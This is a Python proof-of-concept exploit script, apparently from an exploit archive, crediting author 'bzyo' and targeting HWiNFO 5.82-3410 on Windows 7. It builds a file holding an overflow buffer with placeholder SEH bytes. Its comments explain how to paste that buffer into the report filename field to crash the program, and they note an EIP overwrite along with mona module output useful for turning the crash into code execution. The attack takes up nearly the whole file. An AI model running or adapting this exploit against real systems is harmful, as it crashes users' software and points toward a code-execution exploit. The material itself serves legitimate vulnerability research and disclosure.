39 lines
No EOL
929 B
Python
Executable file
39 lines
No EOL
929 B
Python
Executable file
#!/usr/bin/python
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#
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# Exploit Author: bzyo
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# Twitter: @bzyo_
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# Exploit Title: HWiNFO 5.82-3410 - Denial of Service
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# Date: 05-04-18
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# Vulnerable Software: HWiNFO 5.82-3410
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# Vendor Homepage: https://www.hwinfo.com/
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# Version: 5.82-3410
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# Software Link: https://www.hwinfo.com/files/hwi_582.exe
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# Tested On: Windows 7 x86
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#
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# PoC:
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# 1. generate hwinfo.txt, copy contents to clipboard
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# 2. open app, select Report, Create
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# 3. choose Export format XML
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# 4. paste hwinfo.txt contents into filename field
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# 5. select Next, Next
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#
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# app crashes & EIP overwrite;
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# !mona seh > only ppr, non-safeseh module contains startnull
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# 0x00400000 | 0x00d8b000 | 0x0098b000 | 5.82-3410 [HWiNFO32.EXE] (C:\Program Files\HWiNFO32\HWiNFO32.EXE)
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#
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filename="hwinfo.txt"
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#offset 530
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junk = "A"*526
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seh = "B"*4
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nseh = "C"*4
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fill = "D"*9465
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buffer = junk + seh + nseh + fill
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textfile = open(filename , 'w')
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textfile.write(buffer)
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textfile.close() |